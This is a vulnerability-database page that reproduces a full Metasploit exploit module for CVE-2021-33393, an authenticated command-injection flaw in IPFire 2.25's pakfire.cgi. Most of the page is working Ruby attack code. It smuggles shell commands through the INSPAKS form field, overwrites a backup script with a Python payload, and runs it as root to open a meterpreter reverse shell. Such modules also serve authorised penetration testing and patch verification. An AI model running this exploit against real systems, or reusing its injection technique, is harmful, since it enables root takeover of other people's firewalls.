Lucene search
K

IPFire 2.25 Remote Code Execution Exploit

🗓️ 15 Jun 2021 00:00:00Reported by Mücahit SaratarType 
zdt
 zdt
🔗 0day.today👁 110 Views

Exploits IPFire 2.25 Core Update 156 and prior pakfire.cgi Authenticated RCE. Executes arbitrary code as root user.

Related
Code
ReporterTitlePublishedViews
Family
GithubExploit
Exploit for CVE-2021-33393
16 May 202618:08
githubexploit
Circl
CVE-2021-33393
14 Jun 202123:08
circl
CNNVD
IPFire Firewall 安全漏洞
9 Jun 202100:00
cnnvd
CNVD
IPFire Firewall Remote Code Execution Vulnerability
11 Jun 202100:00
cnvd
Check Point Advisories
IPFire Remote Code Execution (CVE-2021-33393)
1 Jun 202100:00
checkpoint_advisories
CVE
CVE-2021-33393
9 Jun 202121:25
cve
Cvelist
CVE-2021-33393
9 Jun 202121:25
cvelist
Exploit DB
IPFire 2.25 - Remote Code Execution (Authenticated)
17 May 202100:00
exploitdb
Metasploit
IPFire 2.25 Core Update 156 and Prior pakfire.cgi Authenticated RCE
15 Jun 202117:50
metasploit
NVD
CVE-2021-33393
9 Jun 202122:15
nvd
Rows per page
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::CmdStager
  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'IPFire 2.25 Core Update 156 and Prior pakfire.cgi Authenticated RCE',
        'Description' => %q{
          This module exploits an authenticated command injection vulnerability in the
          /cgi-bin/pakfire.cgi web page of IPFire devices running versions 2.25 Core Update 156
          and prior to execute arbitrary code as the root user.
        },
        'License' => MSF_LICENSE,
        'Author' =>
          [
            'Mücahit Saratar <[email protected]>', # vulnerability research & exploit development
            'Grant Willcox' # Module enhancements and documentation fixes.
          ],
        'References' =>
          [
            [ 'EDB', '49869' ],
            [ 'CVE', '2021-33393'],
            [ 'URL', 'https://github.com/MucahitSaratar/ipfire-2-25-auth-rce'],
            [ 'URL', 'https://www.youtube.com/watch?v=5FUXV7dfNjg'],
          ],
        'Platform' => ['python' ],
        'Privileged' => true,
        'Arch' => [ ARCH_PYTHON ],
        'Targets' =>
          [
            [
              'Python Dropper',
              {
                'Platform' => 'python',
                'Arch' => [ ARCH_PYTHON ],
                'Type' => :unix_memory,
                'DefaultOptions' => {
                  'PAYLOAD' => 'python/meterpreter/reverse_tcp'
                }
              }
            ]
          ],
        'DisclosureDate' => '2021-05-17',
        'Notes' => {
          'Reliability' => [ REPEATABLE_SESSION ],
          'Stability' => [ CRASH_SAFE ],
          'SideEffects' => [ CONFIG_CHANGES, IOC_IN_LOGS ]
        },
        'DefaultTarget' => 0
      )
    )
    register_options(
      [
        Opt::RPORT(444),
        OptString.new('USERNAME', [ true, 'User to login with', 'admin']),
        OptString.new('PASSWORD', [ true, 'Password to login with', '']),
      ]
    )
  end

  def vpath
    '/cgi-bin/pakfire.cgi' # vulnerable path
  end

  def send_packet(method, execstr, waitsec)
    myheaders = {
      'Authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD']),
      'Referer' => "https://#{datastore['RHOST']}:#{datastore['RPORT']}/"
    }
    if method == 'GET'
      response = send_request_cgi(
        'uri' => vpath,
        'headers' => myheaders,
        'SSL' => true,
        'timeout' => waitsec
      )
    else
      response = send_request_cgi(
        'uri' => vpath,
        'headers' => myheaders,
        'SSL' => true,
        'method' => 'POST',
        'vars_post' => {
          'INSPAKS' => ";#{execstr}",
          'ACTION' => 'install',
          'x' => Rex::Text.rand_text_numeric(2),
          'y' => Rex::Text.rand_text_numeric(2)
        },
        'timeout' => waitsec
      )
    end
    response
  end

  def check
    cevap = send_packet('GET', '', 10)
    if cevap.nil? || cevap.body.empty?
      return CheckCode::Unknown('No response from the target!')
    end

    unless cevap.body.scan(/401 Unauthorized/).empty?
      return CheckCode::Unknown('Invalid credentials supplied! Check USERNAME and PASSWORD options!')
    end

    version = cevap.body.scan(/IPFire (.*) \(.*\) - Core Update [0-9]{3}/).flatten[0] || ''
    core = cevap.body.scan(/IPFire .* \(.*\) - Core Update (.*)/).flatten[0] || ''
    unless version
      return CheckCode::Safe('Target is not IPFire')
    end
    if core.to_i >= 157
      return CheckCode::Safe("Target is running IPFire #{version} (Core Update #{core})")
    end

    CheckCode::Appears("Target is running IPFire #{version} (Core Update #{core})")
  end

  def exploit
    temp_backup_file = Rex::Text.rand_text_alphanumeric(5, 30)
    print_status("Backing up backup.pl to /tmp/#{temp_backup_file}...")
    if send_packet('POST', "cp /var/ipfire/backup/bin/backup.pl /tmp/#{temp_backup_file}", 1).nil?
      fail_with(Failure::Unreachable, "#{peer} disconnected whilst trying to back up backup.pl!")
    end

    print_status('Overwriting the contents of backup.pl with a Python header statement')
    if send_packet('POST', 'echo "#!/usr/bin/python" > /var/ipfire/backup/bin/backup.pl', 1).nil?
      fail_with(Failure::Unreachable, "#{peer} disconnected whilst trying to overwrite backup.pl!")
    end

    print_status('Appending the contents of backup.pl with the Python code to be executed.')
    if send_packet('POST', "echo \"#{payload.encoded}\" >> /var/ipfire/backup/bin/backup.pl", 1).nil?
      fail_with(Failure::Unreachable, "#{peer} disconnected whilst trying to append to backup.pl!")
    end

    print_status('Executing /usr/local/bin/backupctrl to run the payload')
    unless send_packet('POST', '/usr/local/bin/backupctrl', 1).nil?
      fail_with(Failure::UnexpectedReply, 'Something went wrong, the server should not respond after we execute the payload.')
    end

    print_good('You should now have your shell, restoring the original contents of the backup.pl file...')
    if send_packet('POST', "cp /tmp/#{temp_backup_file} /var/ipfire/backup/bin/backup.pl", 20).nil?
      fail_with(Failure::Unreachable, "#{peer} disconnected whilst trying to restore backup.pl!")
    end

    print_status('All done, enjoy the shells!')
  rescue ::Rex::ConnectionError
    fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service")
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

15 Jun 2021 00:00Current
0.5Low risk
Vulners AI Score0.5
CVSS 29
CVSS 3.18.8
EPSS0.72182
110